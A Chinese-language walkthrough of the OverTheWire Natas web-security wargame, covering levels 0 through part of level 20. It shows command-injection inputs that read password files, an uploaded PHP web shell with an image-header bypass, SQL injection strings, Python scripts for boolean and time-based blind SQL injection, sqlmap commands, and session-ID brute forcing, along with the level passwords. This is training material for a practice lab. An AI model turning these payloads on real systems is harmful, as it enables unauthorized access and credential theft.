OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1读取。
网站:
http://overthewire.org/wargames/nata
Level 0 -1(敏感信息泄露)
Username: natas0 Password: natas0
URL: http://natas0.natas.labs.overthewire.org
首先登录natas0,得到一句提示:
You can find the password for the next level on this page.
通过查看页面源代码,发现注释掉的代码,即为natas1的密码
gtVrDuiDfck831PqWsLEZy5gyDz1clto
Level 1 -2(源码暴露敏感信息)
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas1.natas.labs.overthewire.org
登录natas1,得到一句提示:
You can find the password for the next level on this page, but
rightclicking has been blocked!
提示说,可以在这一页找到密码,但是禁用了右键功能,那我们按F12就好了,打开浏览器的开发者工具,切换到Elements选项卡,查看页面的源代码,发现了密码。
Level 2 -3(水平越权)
Username: natas2
Password:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org
登录natas2得到一句提示:
There is nothing on this page
查看页面源代码中没有发现进入下一关的密码,但是发现了一个 img标签,引用了一张图片
访问这个链接: http://natas2.natas.labs.overthewire.org/files/pixel.png,没有什么发现,试试访问它的上一级路径: http://natas2.natas.labs.overthewire.org/files/,发现是一个允许列目录的路径。
index of /files
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[IMG] pixel.png 2016-12-15 16:07 303
[TXT] users.txt 2016-12-20 05:15 145
Apache/2.4.10 (Debian) Server at natas2.natas.labs.overthewire.org Port 80
访问users.txt,发现密码
#username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Level 3 -4(爬虫协议robots.txt)
Username: natas3
Password:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org
登录natas3,同样提示 Thereisnothing onthispage
查看页面源代码,发现一句提示:
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
说Google不会找到它,我们知道Google是搜索引擎,如果要让搜索引擎不爬取相关页面,只需要在网站下放一个 robots.txt文件即可,搜索引擎会遵守里面的规则,不爬取禁止的页面。
所以看看 robots.txt文件,访问 http://natas3.natas.labs.overthewire.org/robots.txt,可以看到如下内容:
User-agent: *
Disallow: /s3cr3t/
访问 http://natas3.natas.labs.overthewire.org/s3cr3t/发现一个 users.txt文件,得到natas4的密码。
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Level 4 -5(修改referer值)
Username: natas4
Password:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org
登录natas4,提示
Access disallowed.You are visiting from"http://natas4.natas.labs.overthewire.org/“whileauthorized users should come only from"http://natas5.natas.labs.overthewire.org/”,意思是你当前访问的页面需要从 http://natas5.natas.labs.overthewire.org/页面来,才能通过认证。
这里涉及一个概念: HTTP Referer,它是 http header的一部分,当浏览器向web服务器发送请求的时候,一般会带上 Referer,告诉服务器我是从哪个页面链接过来的。
使用fiddler抓包,就能发现浏览器请求 http://natas4.natas.labs.overthewire.org页面的请求头:
Accept: ..........
.................
Referer: http://natas4.natas.labs.overthewire.org/
其中 Referer就是告诉浏览器当前页面是从哪个页面链接过来的,所以我们只需要把这个值改成 http://natas5.natas.labs.overthewire.org/就行。
Level 5 -6(篡改cookie)
Username: natas5
password:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org
登录后提示 Accessdisallowed.Youarenotloggedin。这就有点坑了,明明我们登录了,但是提示我们没有登录,这是为什么呢?
这里就不得不说 http协议的特点了, http协议是一种无状态的协议,每次传输完数据就会断开连接,那怎么才能验证身份呢,这时候就就靠 cookie了, cookie由服务器分配给浏览器的, cookie存储了会话状态和身份信息,之后每次 http请求,都会带上 cookie信息给服务器,服务器根据 cookie信息做出不同的响应。
使用fiddler抓包,将loggedin=0改为loggedin=1
得到natas6密码
Level 6 -7(php include)
Username: natas6
URL: http://natas6.natas.labs.overthewire.org
登录后,页面提示 Inputsecret:,和一个 提交按钮,还有个 Viewsourcecode按钮。
好像是需要我们提交一个参数,才会返回密码,我们可以点击 Viewsourcecode查看页面源代码,以下是关键代码:
<body>
<h1>natas6</h1>
<div id="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
代码的意思是,提交一个密钥,如果这个密钥和一个特定的密钥相同,便返回 natas7的密码,我们虽然不知道这个特殊的密钥是什么,但是代码中有一句 include"includes/secret.inc",说明是用这里面的密钥作比较,我们访问这个链接试试。返回了如下内容:
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
然后我们把这个密钥提交,然后即可得到密码:
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 7 -8(任意文件读取)
Username: natas7
password:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas7.natas.labs.overthewire.org
登录后,页面上有两个可以点击的按钮,分别是Home和About,对应的链接分别是 http://natas7.natas.labs.overthewire.org/index.php?page=home和 http://natas7.natas.labs.overthewire.org/index.php?page=about,查看页面源码发现有一句被注释掉的提示:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8
>
通过抓包请求,发现不管是访问 home还是 about都是通过 get方式提交参数访问的,而不是跳转。加上这句提示,这可能是文件包含漏洞,我们可以测试一下,尝试提交一些不存在的路径,比如访问 http://natas7.natas.labs.overthewire.org/index.php?page=\,然后会返回一些报错信息:
Warning: include(): failed to open stream: No such file or directory
in /var/www/natas/natas7/index.php on line 21Warning: include(): Failed opening ‘’ for inclusion
(include_path=’.:/usr/share/php:/usr/share/pear’) in
/var/www/natas/natas7/index.php on line 21
这更加证实了,是通过传参,然后调用 include()函数。那我们把 /etc/natas_webpass/natas8作为参数传入。
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
成功得到密码: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Level 8 -9(php解密)
Username: natas8
URL: http://natas8.natas.labs.overthewire.org
登录后,发现页面内容和 Level6-7是一样的。点击 Viewsourcecode查看页面源代码,关键代码如下:
<body>
<h1>natas8</h1>
<div id="content">
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>
同样需要提交一个正确的密钥,代码中给出了编码方法和编码后的结果,所以我们反着来一遍即可。
base64_encode() base64编码
strrev() 反转字符
bin2hex()把 ASCII 字符的字符串转换为十六进制值
hex2bin()把十六进制值转换为 ASCII 字符:
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
将得到的结果(oubWYf2kBq)作为参数提交,即可得到natas9的密码: Accessgranted.The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 9 -10(命令注入)
Username: natas9
Password:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org
登录后,提示 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。
同样可以点击 Viewsourcecode查看页面源代码,关键代码:
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
</pre>
通过代码可以看出,通过 passthru函数调用了 grep命令来查找我们提交的内容是否在 dictionary.txt中,但我们并不知道这个文件中有什么内容。既然调用了系统命令,我们试试命令注入吧。
Tips:同 exec()函数类似, passthru()函数也是用来执行外部命令 (command)的。
我们提交
;cat/etc/natas_webpass/natas10;
,利用 ;分号截断 grep命令,加上第二命令,命令注入成功,成功返回密码: Output:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Level 10 -11(grep正则表达式)
Username: natas10
Password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org
登录后,和上一关一样,不过提示说 For security reasons,we now filter on certain characters(出于安全考虑,过滤了一些字符)。
先看看关键代码:
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
可以发现,过滤了 ;|&这几个符号,说明不能再通过这几个符号截断 grep了。我们可以试试利用 grep本身。 grep是支持正则表达式的,我们试试利用正则查找,提交内容为
[a-zA-Z]/etc/natas_webpass/natas11 #
或提交
. /etc/natas_webpass/natas11 #
成功返回密码:
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 11-12(常见编码、异或逆推、修改cookie)
Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL: http://natas11.natas.labs.overthewire.org
登录natas11,得到一句提示:
Cookies are protected with XOR encryption
还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:
页面提示cookie被异或或加密保护,查看源码,发现一个预定义参数和三个函数参数:$defaultdata=array(“showpassword”=>“no”,“bgcolor”=>"#ffffff")
猜测将showpassword设置为yes即可得到密码
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//异或加密函数
function xor_encrypt($in) {
$key = '<censored>'; #预定义参数key
$text = $in; #输入参数
$outText = ''; #输出参数
// Iterate through each character
for($i=0;$i<strlen($text);$i++) { #for循环,遍历输入参数
$outText .= $text[$i] ^ $key[$i % strlen($key)]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数
}
return $outText;
}
//加载函数:将$_COOKIE["data"]解密还原,存为$mydata数组,返回$mydata
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
//保存函数将传入的参数,经过编码处理,存入$_COOKIE["data"]中
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
//将showpassword设置为yes即可得到密码
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
通过fiddler抓包,可以发现$defaultdata = array( “showpassword”=>“no”, “bgcolor”=>"#ffffff")对应的data值为“ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=”。
我们知道,异或的逆操作还是异或。由此我们可以逆推得到key。$key = ‘qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
//异或加密函数
$data='ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=';
function xor_encrypt($in,$out) {
$key = '';
$text = $in;
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$key .= $text[$i] ^ $out[$i];
}
return $key;
}
echo xor_encrypt(json_encode($defaultdata),base64_decode($data));
?>
得到key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’
再利用key,构造新data:
<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt(json_encode($defaultdata)));
?>
得到新的data:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
替换cookie中的data,得到key。
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 12-13(上传文件漏洞)
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL:http://natas12.natas.labs.overthewire.org/
登录natas12,得到一句提示:
Choose a JPEG to upload (max 1KB):
提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 fiddler之类的工具修改上传的 filename后缀即可。
<?php
system('cat /etc/natas_webpass/natas13');
?>
得到密码:
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14(上传文件,绕过文件签名检测)
Username: natas13
Password:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL:http://natas13.natas.labs.overthewire.org/
登录natas13,得到一句提示:
For security reasons, we now only accept image files!
为了安全问题,我们只接受图片文件
查看源码:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
通过查看源码发现这一次限制了文件类型,通过PHP的函数exif_imagetype()来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(每一个字节),从而检测文件类型。
那我们只需要再上传的php文件中加入任意图片格式文件头标识即可,比如GIF98a
1、上传1.php文件
GIF98a
<?php
system('cat /etc/natas_webpass/natas13');
?>
2、使用fiddler抓包,修改为php文件,上传成功并返回上传路径
3、通过访问文件路径,成功返回密码
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15(SQL注入,万能密码)
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL:http://natas14.natas.labs.overthewire.org/
登录后,发现是一个登录框
查看源码:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " or 1=1 #
username: "or 1=1#
password: 未做空值校验,不输入或随便输入即可
方法二:使用联合查询
username:1
password:1" union select * from users where " “=”
得到密码:
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16(SQL盲注之布尔盲注)
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL:http://natas15.natas.labs.overthewire.org/
页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
方法一:python脚本
这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。
sql查询语句如下:
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
Databse构造语句如下:
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
猜测一下,是否存在user=natas16,返回存在。因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。
假设我们输入的sql语句是:
select * from users where username=natas16 and password like binary "w%"
其中,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and是在满足前一个用户名的条件下匹配后一个。
如果这里的W是密码开头的字符,就会返回user exists,如果不是会返回user doesn’t exist,我们就可以知道这个字符是不是密码的第一个字符(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可),确认了第一个字符后接着确认第二个,依次类推…
python脚本:
# coding=utf-8
import requests
url = "http://natas15.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
i=0
while i < len(chr):
payload = "natas16\" AND password like binary\""+flag+chr[i]+"%\" #"
req = requests.post(url,auth=auth,data={"username":payload})
if "This user exists" in req.text:
flag+=chr[i]
print(flag)
i=0
continue
i+=1
得到key:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
方法二:使用sqlmap
sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
Level 16-17(正则匹配,php命令执行)
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL:http://natas16.natas.labs.overthewire.org/
登录后提示:
For security reasons, we now filter even more on certain characters
出于安全,我们对一些字符甚至更多进行过滤。
关键代码如下:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
这一关相较于之前的第10题,加上了正则过滤,使得;|&`’"无法使用,且在grep的检索中添加了引号,无法添加其他选项和参数。
但在PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即:
passthru("grep -i "$(grep ^a /etc/natas_webpasswd/natas17)wrong \" dictionary.txt");
如果password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符wrong;
如果不为a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。
抓包查看数据提交方式,是get提交,格式为?needle=xxxx&submit=Search。
据此,构造脚本,得到flag。
脚本:
# coding=utf-8
import requests
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
i=0
while i < len(chr):
payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
req = requests.get(url=url, auth=auth, params=payload)
if 'wrong' not in req.text:
flag += chr[i]
print(flag)
i=0
continue
i+=1
得到key:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18(sql盲注之时间盲注)
Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL:http://natas17.natas.labs.overthewire.org/
查看源码
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
分析源码发现这是一道sql注入题,与15题相似只是不再提供回显,所有echo均被注释掉了。猜测到username为natas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()和sleep()函数完成注入。
脚本(二分查找,效率更快):
# coding:utf-8
import requests
url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'
flag = ''
for i in range(1, 33): # i表示password的每一位字符,因为password共32位字符,所以i取值1-32
# ascii表中 数字 32–126 分配给了能在键盘上找到的字符
# 下面用了二分法查找password的每一个字符
a = 32
c = 126
while a < c:
b = int((a + c)/ 2 ) # 79 O
# MID 函数用于从文本字段中提取字符。
# mid(password,%d,1),表示从password中从第%d位开始,取1位字符,即取第%d位字符
# Ascii()返回字符的ascii码
# sleep(n):将程序挂起一段时间 n为n秒
# if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
# if(%d<ascii(mid(password,%d,1)),sleep(2),1),表示先取出password的第i位,将其换算成ascii码,然后与变量b对比,如果大于b,则睡2秒再返回结果,否则直接返回结果
payload = r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(10),1) and "" like "' % (b, i)
try:
req = requests.post(url=url, data={"username": payload}, timeout=2)
except requests.exceptions.Timeout as e:
a = b + 1 # 80 P
b = int((a + c) / 2 ) # 103 g
continue
c = b
flag += chr(b)
print(flag)
得出key
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19(session登录,暴力破解)
Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL:http://natas18.natas.labs.overthewire.org/
查看源码:
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
审计源码发现没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1到 640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。
方法一:
穷举 maxid的值就好了。可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。具体如下:
得到password:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
方法二:python脚本爆破
# coding = utf-8
import requests
url = 'http://natas18.natas.labs.overthewire.org/index.php'
data = {"username": "admin", "password": "123"}
for i in range(640):
headers = {
"Authorization": "Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==", # 这是验证口令,就不用账号密码登录了
"cookie": "PHPSESSID={0}".format(i)
}
req = requests.post(url = url, data = data, headers = headers)
if 'You are logged in as a regular user' in req.text:
print(i)
continue
else:
print(i)
print(req.text)
exit()
运行结果:
Level 19-20(session登录,常见编码,暴力破解)
Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL:http://natas19.natas.labs.overthewire.org/
登录提示:
以上一题类似,只是PHPSESSID不连续,随便输入username和password,抓包观察PHPSESSID,发现输入的信息,按照id-username的格式,由ascii码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。
方法一:使用burpsuit爆破
1、抓包得到PHPSESSID
2、将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。
3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。
<1>由于16进制是原来长度的2倍,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。
<2>添加变量,并添加加密规则
变量一:
变量2:
变量3:
<2>进行爆破,得出key:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
方法二:python脚本
# coding=utf-8
import requests
import binascii
url = "http://natas19.natas.labs.overthewire.org/"
payload = {"username": "admin", "password": "123"}
for i in range(640):
s1 = str(binascii.hexlify(bytes(i)), encoding="utf-8")
headers = {"Cookie": "PHPSESSID=" + s1 + "2d61646d696e",
"Authorization": "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="}
req = requests.post(url, params=payload, headers=headers)
if "You are logged in as a regular user" in req.text:
# print(i) #打印i,查看进度
continue
else:
print(i)
print(req.text)
exit()
Level 20-21(session登录,注入参数)
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL:http://natas20.natas.labs.overthewire.org/
查看源码:
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
